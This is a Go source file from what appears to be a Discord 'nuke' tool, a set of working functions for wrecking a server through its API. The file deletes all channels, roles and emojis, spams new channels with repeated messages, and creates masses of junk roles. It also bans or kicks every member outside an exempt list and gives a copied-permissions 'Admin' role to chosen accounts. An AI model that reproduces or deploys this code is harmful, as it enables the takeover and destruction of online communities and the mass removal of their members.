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nuke_functions.go
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186 lines (179 loc) · 4.71 KB
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package main
import (
"math/rand"
"sync"
"time"
"github.com/bwmarrin/discordgo"
"golang.org/x/exp/slices"
)
func (na NukeAccount) makeChannels() error {
wg := sync.WaitGroup{}
for i := 0; i < na.Config.FeatureConfig.AfterChannel.ChannelAmount; i++ {
wg.Add(1)
go func() {
logger.Println("Channel created")
channel, err := na.Session.GuildChannelCreate(na.Config.GuildID, na.Config.FeatureConfig.AfterChannel.ChannelName, discordgo.ChannelTypeGuildText)
if err != nil {
logger.Errorf("Error creating channel: %s", err)
return
}
for i := 0; i < na.Config.FeatureConfig.AfterChannel.MessageRepetitions; i++ {
na.Session.ChannelMessageSend(channel.ID, na.Config.FeatureConfig.AfterChannel.Message)
}
wg.Done()
}()
}
wg.Wait()
return nil
}
func (na NukeAccount) deleteChannels() error {
wg := sync.WaitGroup{}
channels, err := na.Session.GuildChannels(na.Config.GuildID)
if err != nil {
return err
}
for _, channel := range channels {
if channel.Name == na.Config.FeatureConfig.AfterChannel.ChannelName {
continue
}
wg.Add(1)
go func(channelID string) {
_, err := na.Session.ChannelDelete(channelID)
if err != nil {
logger.Errorln(err)
}
wg.Done()
}(channel.ID)
}
wg.Wait()
return nil
}
func (na NukeAccount) deleteRoles() error {
wg := sync.WaitGroup{}
roles, err := na.Session.GuildRoles(na.Config.GuildID)
if err != nil {
return err
}
for _, role := range roles {
wg.Add(1)
go func(id string) {
na.Session.GuildRoleDelete(na.Config.GuildID, id)
wg.Done()
}(role.ID)
}
wg.Wait()
return nil
}
func (na NukeAccount) autoAdmin() error {
myUser, err := na.Session.User("@me")
if err != nil {
return err
}
myMember, err := na.Session.GuildMember(na.Config.GuildID, myUser.ID)
if err != nil {
return err
}
niceColor := 16737894
// I'm sorry if you wanted a custom role name. this is truly a sad moment for you
role, err := na.Session.GuildRoleCreate(na.Config.GuildID, &discordgo.RoleParams{
Name: "Admin",
Color: &niceColor,
Permissions: &myMember.Permissions,
})
if err != nil {
return err
}
for _, id := range na.Config.FeatureConfig.AutoAdmin {
na.Session.GuildMemberRoleAdd(na.Config.GuildID, id, role.ID)
}
return nil
}
func (na NukeAccount) removeMembers() error {
wg := sync.WaitGroup{}
exemptUsersTotal := append(na.Config.FeatureConfig.AutoAdmin, na.Config.FeatureConfig.MemberRemoval.Exempt...)
exemptUsersTotal = removeDuplicate(exemptUsersTotal)
memberIDs := na.getGuildMemberIDs()
targetRemoves := len(memberIDs) - (1 + len(exemptUsersTotal))
goodRemoves := targetRemoves
myUser, err := na.Session.User("@me")
if err != nil {
return err
}
for _, id := range memberIDs {
if id == myUser.ID || slices.Contains(exemptUsersTotal, id) {
continue
}
wg.Add(1)
go func(id string) {
if na.Config.FeatureConfig.MemberRemoval.BanMembers {
err := na.Session.GuildBanCreate(na.Config.GuildID, id, 7)
if err != nil {
goodRemoves--
}
return
}
err := na.Session.GuildMemberDelete(na.Config.GuildID, id)
if err != nil {
goodRemoves--
}
wg.Done()
}(id)
}
wg.Wait()
logger.Infof("Removed %d/%d members\n", goodRemoves, targetRemoves)
return nil
}
func (na NukeAccount) deleteEmojis() error {
emojiWg := sync.WaitGroup{}
emojis, err := na.Session.GuildEmojis(na.Config.GuildID)
if err != nil {
return err
}
for _, emoji := range emojis {
emojiWg.Add(1)
go func(emojiID string) {
na.Session.GuildEmojiDelete(na.Config.GuildID, emojiID)
emojiWg.Done()
}(emoji.ID)
}
emojiWg.Wait()
return nil
}
func (na NukeAccount) setStatus() error {
err := na.Session.UpdateGameStatus(0, na.Config.FeatureConfig.Status.ActivityName)
return err
}
func (na NukeAccount) roleSpam() error {
randGen := rand.New(rand.NewSource(time.Now().UnixNano()))
wg := sync.WaitGroup{}
roleSpamConfig := na.Config.FeatureConfig.RoleSpam
for i := 0; i < roleSpamConfig.RoleAmount; i++ {
wg.Add(1)
go func() {
name := roleSpamConfig.RoleName
if len(roleSpamConfig.RoleNames) > 0 {
name = roleSpamConfig.RoleNames[randGen.Intn(len(roleSpamConfig.RoleNames))]
}
na.Session.GuildRoleCreate(na.Config.GuildID, &discordgo.RoleParams{
Name: name,
Color: &roleSpamConfig.RoleColor,
})
wg.Done()
}()
}
wg.Wait()
return nil
}
// https://stackoverflow.com/questions/66643946/how-to-remove-duplicates-strings-or-int-from-slice-in-go
// no im not a bad programmer, i could have made this in like 3 minutes but i decided to just look it up
func removeDuplicate[T string | int](sliceList []T) []T {
allKeys := make(map[T]bool)
list := []T{}
for _, item := range sliceList {
if _, value := allKeys[item]; !value {
allKeys[item] = true
list = append(list, item)
}
}
return list
}